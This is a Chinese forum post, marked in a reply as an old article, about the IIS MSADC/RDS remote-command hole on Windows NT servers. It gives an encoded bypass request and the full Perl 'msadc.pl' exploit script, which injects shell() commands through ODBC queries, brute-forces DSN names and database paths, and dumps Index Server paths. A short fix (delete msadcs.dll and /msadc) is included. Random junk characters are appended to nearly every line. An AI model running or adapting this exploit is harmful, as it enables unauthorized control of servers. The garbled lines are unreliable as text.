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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) iKaS7lWH  
$ Fc}K+  
涉及程序: Ywt9^M|z;  
Microsoft NT server -%>Tjo@B n  
qSD`S1'2;  
描述: ? ][/hL@[  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _*sd#  
n[i:$! ,  
详细: *'M+oi  
如果你没有时间读详细内容的话,就删除: v&9:Wd*Iz'  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z RwN#?x  
有关的安全问题就没有了。 x+%> 2qgj"  
Cl& )#  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4/3w *  
\f Kn} ]kG  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 5oB#{h  
关于利用ODBC远程漏洞的描述,请参看: +5R8mbD!  
>bhF{*t#;y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h?4EVOx+  
TL$w~dY  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mxJe\[I  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B2_fCSlg  
oL>o*/  
这里不再论述。 d%q&[<'jf  
n ^qwE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Q=[ IO,f  
G'wW-|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset AhjCRYk+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g.8^ )u  
n >E1\($  
*N{k#d/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u!It' ;j  
{ Ngut  
#!perl pxyFM@Z](  
# Ho&f[T(  
# MSADC/RDS 'usage' (aka exploit) script S @!z'$&  
# "_BWUY  
# by rain.forest.puppy j2:9ahW  
# ?wIEXKI  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me s6;ZaU  
# beta test and find errors! tdu:imH~  
A+\rGVNH'S  
use Socket; use Getopt::Std; e!C,<W&B\  
getopts("e:vd:h:XR", \%args); *U8,Q]gS  
wA,-!m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &g*1If  
@l_rB~  
if (!defined $args{h} && !defined $args{R}) { Gcxz$.(  
print qq~ M#8_Qbvfk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } JH2-'  
-h <host> = host you want to scan (ip or domain) ]D2 d=\  
-d <seconds> = delay between calls, default 1 second fv* $=m  
-X = dump Index Server path table, if available p>T  
-v = verbose *|L;&XM&/  
-e = external dictionary file for step 5 dIQ3snG  
bG.`>   
Or a -R will resume a command session K^b'<} $|p  
{ Rxb_9  
~; exit;} v`7~#Avhz  
~ `{{Z&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {=3'H?$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !{g>g%2!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} H2+Ijn19E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -B7X;{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} #&K}w 0}k  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &t6SI'  
v806f8  
if (!defined $args{R}){ $ret = &has_msadc; ~Hx>yn94e  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} FiXE0ZI$0q  
'auYmX  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Yfz`or\@=  
. "cmd /c "; ^8?px&B y:  
$in=<STDIN>; chomp $in; RO'b)J:j9  
$command="cmd /c " . $in ; d:z7 U  
6s! =de  
if (defined $args{R}) {&load; exit;} +J42pSxzoo  
Ycxv=Et  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <fgf L9-  
&try_btcustmr; J/Ch /Sa  
THCvcU?X  
print "\nStep 2: Trying to make our own DSN..."; W E /1h  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1wggYX  
cy2K#  
print "\nStep 3: Trying known DSNs..."; ehMpo BL  
&known_dsn; {~Q}{ha  
2 jxh7\zE  
print "\nStep 4: Trying known .mdbs..."; jnFN{(VH  
&known_mdb; (~PT(B?  
O;(n[k  
if (defined $args{e}){ ~Hb0)M@y7  
print "\nStep 5: Trying dictionary of DSN names..."; ZJjm r,1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Vk1 c14i>  
ZRa~miKyM  
print "Sorry Charley...maybe next time?\n"; GgvMd~  
exit; wu} Zu  
%=vU Z4  
############################################################################## iVM% ]\  
)Tn(!.  
sub sendraw { # ripped and modded from whisker M=5hp&=  
sleep($delay); # it's a DoS on the server! At least on mine... \@ N[  
my ($pstr)=@_; 3X`N~_+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2P|j<~JS  
die("Socket problems\n"); NV2$ >D  
if(connect(S,pack "SnA4x8",2,80,$target)){ OuPfB  
select(S); $|=1; 5N2`e3:I  
print $pstr; my @in=<S>; M^/ZpKeT"  
select(STDOUT); close(S); 5^2P\y(?  
return @in; H" pwIiC  
} else { die("Can't connect...\n"); }} %e/L .#0  
_+0c<'  
############################################################################## k& ]I;Aq  
S=`#X,Wo  
sub make_header { # make the HTTP request r!p:73L8  
my $msadc=<<EOT =MmAnjo  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 jhka;m  
User-Agent: ACTIVEDATA FaG&U  
Host: $ip srS5-fs  
Content-Length: $clen ,esUls'nz'  
Connection: Keep-Alive [O3)s]|  
z{U^j:A  
ADCClientVersion:01.06 % )}rQqQ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (/_w23rr  
_xo;[rEw8  
--!ADM!ROX!YOUR!WORLD! p,mKgL63  
Content-Type: application/x-varg L5]uT`Twa  
Content-Length: $reqlen qI2&a$Zb$  
WG5)-;>q|  
EOT .DhB4v&  
; $msadc=~s/\n/\r\n/g; 6eK7Jv\K  
return $msadc;} m P./e8  
e1R<+`]  
############################################################################## {"*gX&;~  
(S63:q&g  
sub make_req { # make the RDS request VzuU 0  
my ($switch, $p1, $p2)=@_; fvV5G,lD3h  
my $req=""; my $t1, $t2, $query, $dsn; sN/8OLc  
CYhSCT!-?  
if ($switch==1){ # this is the btcustmr.mdb query 6{[ uCxxl  
$query="Select * from Customers where City=" . make_shell();  KzZRFEA_  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . x 4`RKv2m  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Fma#`{va  
/t _QA  
elsif ($switch==2){ # this is general make table query [T2!,D.  
$query="create table AZZ (B int, C varchar(10))"; F<2qwP  
$dsn="$p1";} i#Z#(D `m  
f"G-',O<  
elsif ($switch==3){ # this is general exploit table query AhNz[A  
$query="select * from AZZ where C=" . make_shell(); p $,ZYF~  
$dsn="$p1";} f;3k Yh^4  
poS=8mN8;  
elsif ($switch==4){ # attempt to hork file info from index server ;fm> \f  
$query="select path from scope()"; m]ALW0  
$dsn="Provider=MSIDXS;";} W@vCMy!  
 4{D^ 4G  
elsif ($switch==5){ # bad query ?; tz  
$query="select"; WWVQJ{,}  
$dsn="$p1";} "'I |#dKoG  
rCdTn+O2  
$t1= make_unicode($query); ,y[w`Q\  
$t2= make_unicode($dsn); Tl-Ix&37  
$req = "\x02\x00\x03\x00"; Vx=tP.BO]  
$req.= "\x08\x00" . pack ("S1", length($t1)); qfgw^2aUa  
$req.= "\x00\x00" . $t1 ; wF{M"$am  
$req.= "\x08\x00" . pack ("S1", length($t2)); fa(-&;q  
$req.= "\x00\x00" . $t2 ; nm@.] "/  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; pT<I!,~  
return $req;} -) !;45  
:eR\0cn  
############################################################################## eY'RDQa  
'F^"+Xi  
sub make_shell { # this makes the shell() statement 7_5-gtD  
return "'|shell(\"$command\")|'";} Mdy4H[Odq  
Ev1gzHd!i  
############################################################################## mS &^xWPV  
m/aA q8  
sub make_unicode { # quick little function to convert to unicode )C0 y<:</  
my ($in)=@_; my $out; M HKnHPv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } oSkvTK$ &i  
return $out;} G8Zl[8  
~4`3p=$  
############################################################################## bHioM{S  
lN[#+n  
sub rdo_success { # checks for RDO return success (this is kludge) +qM2&M  
my (@in) = @_; my $base=content_start(@in); o65I(`  
if($in[$base]=~/multipart\/mixed/){ E{IY7Xz^>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} _5v]69C#  
return 0;} Jr,**,wA  
!+3nlG4cw  
############################################################################## 6@ =ipPCR  
*30T$_PiX|  
sub make_dsn { # this makes a DSN for us li%A?_/m<&  
my @drives=("c","d","e","f"); t^g+nguz  
print "\nMaking DSN: "; \_t[\&.a}  
foreach $drive (@drives) { -@mcu{&  
print "$drive: "; G,,f' >  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . d+&w7/F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 4-W~ 1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ew&|!d  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }ZfdjF8N!  
return 0 if $2 eq "404"; # not found/doesn't exist +Sg+% 8T  
if($2 eq "200") { UkM#uKr:  
foreach $line (@results) { r.v.y[u  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;~Q`TWC  
} return 0;} N=c{@h  
<y,c.\c!  
############################################################################## ;Bne=vjQp  
@e^(V$ap  
sub verify_exists { NsL!AAN[V  
my ($page)=@_; dp*E#XCr1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6MelN^\[7  
return $results[0];} Q `z2SYz>  
9PJnKzQ4  
############################################################################## muIJeQ.C  
Rh{`#dI~=  
sub try_btcustmr { 5O:4-} hz  
my @drives=("c","d","e","f"); $qM&iI-l0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OA&r8WK3  
(xMq(g  
foreach $dir (@dirs) { !.w|+-JKO  
print "$dir -> "; # fun status so you can see progress =wFl(Q6J  
foreach $drive (@drives) { #[sJKW  
print "$drive: "; # ditto ,? V YrL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8k?V&J `  
$reqlenlen=length( "$reqlen" ); ;H"OZRQ  
$clen= 206 + $reqlenlen + $reqlen; 4gn|zSe>^  
O]Q8&(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4}*V=>z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Bn*QT:SKC  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} N'I9J?e Q  
:qtg`zM/4  
############################################################################## >9X+\eg-  
X9ec*x  
sub odbc_error { 5YQJNP  
my (@in)=@_; my $base; lYy:A%yDT  
my $base = content_start(@in); @[j%V ynf  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this C0H@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WM GiV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j&`D{z-c~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Eg$Er*)h8  
return $in[$base+4].$in[$base+5].$in[$base+6];} 7}vx]p2  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =T#?:J#a  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 5)p!}hWs  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0MN)Z(Sa  
cp4~`X  
############################################################################## kjOI7`DU  
b:x*Hjf  
sub verbose { m0JJPBp  
my ($in)=@_; s,7 OoLE  
return if !$verbose; )?k~E=&o  
print STDOUT "\n$in\n";} h`Xl~=  
xhncQhf\  
############################################################################## FF#?x@N:  
g\@zQ^O?  
sub save { >,n K  
my ($p1, $p2, $p3, $p4)=@_; JUTlJyx8  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %TzdpQp"  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; phy:G}F6%  
close OUT;} Ss'Dto35Q  
|kqRhR(Ei  
############################################################################## (YHK,aC>u  
k j&hn  
sub load { @Pf['BF"  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; aa\?k\h'7X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CjLiLB  
@p=<IN>; close(IN); 6' 9zpe@`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); (b+o$C  
$target= inet_aton($ip) || die("inet_aton problems"); D1cnf"y^  
print "Resuming to $ip ..."; *.+N?%sAP)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; jgT *=/GH2  
if($p[1]==1) { K#]FUUnj=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Wfh+D[^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mxTuwx   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6#kK  
if (rdo_success(@results)){print "Success!\n";} K]ds2Kp&  
else { print "failed\n"; verbose(odbc_error(@results));}} Sh7ob2  
elsif ($p[1]==3){ C59H| S  
if(run_query("$p[3]")){ *%2,= p  
print "Success!\n";} else { print "failed\n"; }} ?P Mi#H  
elsif ($p[1]==4){ 3q`Uq`t4mR  
if(run_query($drvst . "$p[3]")){ 57:27d0y  
print "Success!\n"; } else { print "failed\n"; }} T$tO[QR/  
exit;} *TYOsD**9  
1#nY Z%  
############################################################################## l!%V&HJV  
_j|U>s   
sub create_table { HvW6=d(#  
my ($in)=@_; '.#3h$d  
$reqlen=length( make_req(2,$in,"") ) - 28; LO)p2[5#R  
$reqlenlen=length( "$reqlen" ); DC*6=m_  
$clen= 206 + $reqlenlen + $reqlen; Lg+cHaA  
my @results=sendraw(make_header() . make_req(2,$in,"")); >!#or- C  
return 1 if rdo_success(@results); Ej'N !d.  
my $temp= odbc_error(@results); verbose($temp); 6KKQ)DNu_  
return 1 if $temp=~/Table 'AZZ' already exists/; ]?~[!&h  
return 0;} "qw.{{:tf  
[ejl #'*5  
############################################################################## BV]$= e'  
wQ\bGBks  
sub known_dsn { =[`gfw  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;>jOB>b{h  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", XF99h&;9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", UsdUMt!u  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l"9$lF}  
uar[D|DcD"  
foreach $dSn (@dsns) { -FQS5Zb.!  
print "."; poXT)2^)  
next if (!is_access("DSN=$dSn")); MMf_  
if(create_table("DSN=$dSn")){ ilFS9A3P  
print "$dSn successful\n"; tj[-|h  
if(run_query("DSN=$dSn")){ ,w7ZsI4:[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d6~d)E  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0mI4hy  
I.)9:7   
############################################################################## {AAi x  
z=DK(b;$z  
sub is_access { M.KXDD#O  
my ($in)=@_; Ir3|PehB  
$reqlen=length( make_req(5,$in,"") ) - 28; \,yg@ R  
$reqlenlen=length( "$reqlen" ); 9a{9|p>L  
$clen= 206 + $reqlenlen + $reqlen; (h% xqXs  
my @results=sendraw(make_header() . make_req(5,$in,"")); ib~EQ?u{  
my $temp= odbc_error(@results); fx/If  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^Rmrre`uU  
return 0;} N1X;&qZDd  
z2OXCZ*/  
############################################################################## 2 m2$jp0  
{)& b6}2h  
sub run_query { avxI%%|  
my ($in)=@_; QykHB k  
$reqlen=length( make_req(3,$in,"") ) - 28; +!"7=?}  
$reqlenlen=length( "$reqlen" ); g (V_&Y  
$clen= 206 + $reqlenlen + $reqlen; *5R91@xt  
my @results=sendraw(make_header() . make_req(3,$in,"")); "I JcKoB  
return 1 if rdo_success(@results); ?) FY7[x.  
my $temp= odbc_error(@results); verbose($temp); LH>h]OTQF  
return 0;} !24g_R[3"  
WFMQ;  
############################################################################## /P/::$  
v#$}3+KVC  
sub known_mdb { &%@>S.  
my @drives=("c","d","e","f","g"); ' g Fewo  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?/24-n  
my $dir, $drive, $mdb; +fG~m:E  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; DWu~%U8  
"nC=.5/$  
# this is sparse, because I don't know of many /{nZ I_v#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r }Nq"s<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wI2fCq(a0  
"\\system32\\certmdb.mdb", 2Q[q)u  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `}*jjnr"  
vjYG>YhV  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8rSu,&<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", d4A3DTW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |p":s3K"Hy  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]d,#PF  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", R!7a;J}  
"\\cfusion\\database\\cfexamples.mdb", pOIfKd  
"\\cfusion\\database\\cfsnippets.mdb", P%Wl`NA P  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", t}Kzh`  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  h]?[}&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ((tWgSZ3  
"\\cfusion\\database\\smpolicy.mdb", X$ 76#x  
"\\cfusion\\database\cypress.mdb", )LE#SGJP  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _<l9j;6  
"\\website\\cgi-win\\dbsample.mdb", @wW)#!Mou  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", I}1<epd ,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }3y Q*<  
); #these are just +yIO  
foreach $drive (@drives) { xwu,<M v `  
foreach $dir (@dirs){ UJGmaE  
foreach $mdb (@sysmdbs) { v{TISgZ  
print "."; 1Yy*G-7}  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ dF0:'y  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }t5pz[zl  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 'K3%@,O  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9Q*zf@w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} btIh%OM  
{$^Lb4O[V  
foreach $drive (@drives) { [LHfH3[gU  
foreach $mdb (@mdbs) { "AMsBvzgo  
print "."; bL18G(5  
if(create_table($drv . $drive . $dir . $mdb)){ &?B\(?*  
print "\n" . $drive . $dir . $mdb . " successful\n"; )J!=X`b  
if(run_query($drv . $drive . $dir . $mdb)){ / S)&dN`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T|lyjX$Q]9  
} else { print "Something's borked. Use verbose next time\n"; }}}} zd#/zUPI  
} h OF>Dj  
Y%]&h#F  
############################################################################## Cr%6c3aQ  
"Kt[jV;6  
sub hork_idx { 8??%H7~  
print "\nAttempting to dump Index Server tables...\n"; qGc>+!y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; DSx D531[A  
$reqlen=length( make_req(4,"","") ) - 28; 7(bE;(4  
$reqlenlen=length( "$reqlen" ); vCtag]H2@  
$clen= 206 + $reqlenlen + $reqlen; 6d|%8.q1  
my @results=sendraw2(make_header() . make_req(4,"","")); >,%7bq=T!  
if (rdo_success(@results)){ .%N*g[J  
my $max=@results; my $c; my %d; O{`r.H1',  
for($c=19; $c<$max; $c++){ CF+:9PG  
$results[$c]=~s/\x00//g; .=-K7.X.)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; b-,]21  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; F6\r"63  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 'aW<C>  
$d{"$1$2"}="";} ,R;wk=k  
foreach $c (keys %d){ print "$c\n"; } 'Z(4Wuwb  
} else {print "Index server doesn't seem to be installed.\n"; }} EL-1o0 2-  
IEJp!P,E  
############################################################################## IOi6' 1l  
[!E~pW%|n  
sub dsn_dict { D^W?~7e ^r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); I@9k+JB   
while(<IN>){ OM 5h>\9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _"#ucM=B:-  
next if (!is_access("DSN=$dSn")); )x*pkE**c  
if(create_table("DSN=$dSn")){ UHW;e}O5  
print "$dSn successful\n"; eA(c{  
if(run_query("DSN=$dSn")){ w/m ~#`a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { SgocHpyg  
print "Something's borked. Use verbose next time\n";}}} obhq2sK  
print "\n"; close(IN);} 5UHxB"`C  
h *-j  
############################################################################## <sq@[\l}a  
7lz"^  
sub sendraw2 { # ripped and modded from whisker gKGM|0u|r  
sleep($delay); # it's a DoS on the server! At least on mine... A1,- qv1s  
my ($pstr)=@_; v J.sa&\H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || NP*M#3$[  
die("Socket problems\n"); Gd 5J<K  
if(connect(S,pack "SnA4x8",2,80,$target)){ )#l,RJ(  
print "Connected. Getting data"; @7aSq-(_l*  
open(OUT,">raw.out"); my @in; _ s[v:c  
select(S); $|=1; print $pstr; *T'>-nm]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} s8<)lO<SV.  
close(OUT); select(STDOUT); close(S); return @in; A_WtmG_9  
} else { die("Can't connect...\n"); }} &u/T,jy`  
zWh[U'6  
############################################################################## Hc{0O7  
qSWnv`hL  
sub content_start { # this will take in the server headers ) Pdl[+a  
my (@in)=@_; my $c; X%b.]A  
for ($c=1;$c<500;$c++) { va/$dD9  
if($in[$c] =~/^\x0d\x0a/){ U3yIONlt  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /n SmGAO  
else { return $c+1; }}} 8?r RLM4  
return -1;} # it should never get here actually *0`oFTJ  
/)` kYD6  
############################################################################## q0hg0 DC[;  
)} H46  
sub funky { yS[Z%]bvU  
my (@in)=@_; my $error=odbc_error(@in); 2nRL;[L*.  
if($error=~/ADO could not find the specified provider/){ E5<}7Pt  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; IJA WG  
exit;} ^3L6mOoA  
if($error=~/A Handler is required/){ ] 7, mo  
print "\nServer has custom handler filters (they most likely are patched)\n";  TVP.)%  
exit;} i>C:C>~  
if($error=~/specified Handler has denied Access/){ ;ip"V 0`  
print "\nServer has custom handler filters (they most likely are patched)\n"; iPxhDn<B  
exit;}} 3S'juHT e  
x`vIY-DS  
############################################################################## *SX'Or,  
lll]FJ1  
sub has_msadc { H0 YxPk)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); kgvB80$4  
my $base=content_start(@results); I~$LIdzw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 89@e &h*  
return 0;} {g>k-.  
})R8VJ&C/  
######################## YolO-5  
-m:i~^ u  
Jn>7MuG  
解决方案: `!j|Ym  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll XACbDKyS  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *JX)q  
*@q+A1P7@  
拿出来充数 哈哈
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